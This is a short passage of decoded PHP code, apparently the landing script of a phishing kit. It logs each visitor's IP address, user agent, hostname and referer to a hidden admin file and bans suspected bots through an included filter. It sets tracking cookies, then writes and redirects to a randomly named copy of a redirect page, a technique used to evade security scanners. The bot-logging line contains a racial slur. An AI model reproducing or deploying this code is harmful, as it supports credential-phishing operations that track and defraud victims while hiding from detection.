PHP Decode

<?  session_start(); 
date_default_timezone_set('America/New_York'); 
$dt=date('d M Y H:i:s'); 
if(isset($_SERVER['HTTP_REFERER'])){$rf = $_SERVER['HTTP_REFERER'];} else{$rf = 'NOT REFERED';}; 
$ib="--------| VIS!T0R|--------<br/> 
IP = ".$_SERVER['REMOTE_ADDR'].'<br/> 
USER-AGENT = '.$_SERVER['HTTP_USER_AGENT'].'<br/> 
HOST ADDR = '.gethostbyaddr($_SERVER['REMOTE_ADDR']).'<br/> 
REFERER = '.$rf.'<br/> 
DATETIME = '.$dt.'<br/> 
<br/> 
'; 
$_SESSION['homedir']=__DIR__; 
$mile = fopen("admin/yo.txt","a"); 
fwrite($mile,$ib); 
fclose($mile); 
$filedir='admin/db.json'; 
$ud=file_get_contents($filedir); 
$udarray = json_decode($ud,true); 
foreach($udarray as $key=>$value){$narr[$key]=$value;}; 
$narr['visits'] += 1; 
$narr['humans'] += 1; 
array_push($narr['ips'],$_SERVER['REMOTE_ADDR']); 
file_put_contents($filedir,json_encode($narr)); 
$d=dirname($_SERVER['PHP_SELF'],1); 
if($d != '\' && $d != '/'){$isshell=__DIR__;}; 
include('btm.php'); 
$_SESSION['dbvar']=strtolower(substr(md5(uniqid().'db') , -6)); 
$_SESSION['sshh']=strtolower(substr(md5(uniqid().'height') , -5)); 
$_SESSION['ssww']=strtolower(substr(md5(uniqid().'width') , -5)); 
if (!isset($timecookie)){logbot('SAD LIFE NIGGA');banbot();exit();}; 
setcookie($timecookie,$timecookievalue,time()+86400*30,'/'); 
setcookie($bottime,time(),time()+86400*30,'/'); 
$_SESSION['indexfile']=substr(md5($_SERVER['HTTP_HOST'].'yochithegreatloner') , -4); 
$redc=file_get_contents('dir.php'); 
$redname=substr(md5($_SERVER['HTTP_HOST']) , -4); 
if(!file_exists($redname.".php")){ 
$red = fopen($redname.".php","w"); 
fwrite($red,$redc); 
fclose($red);}; 
header('location:'.$redname); 
?>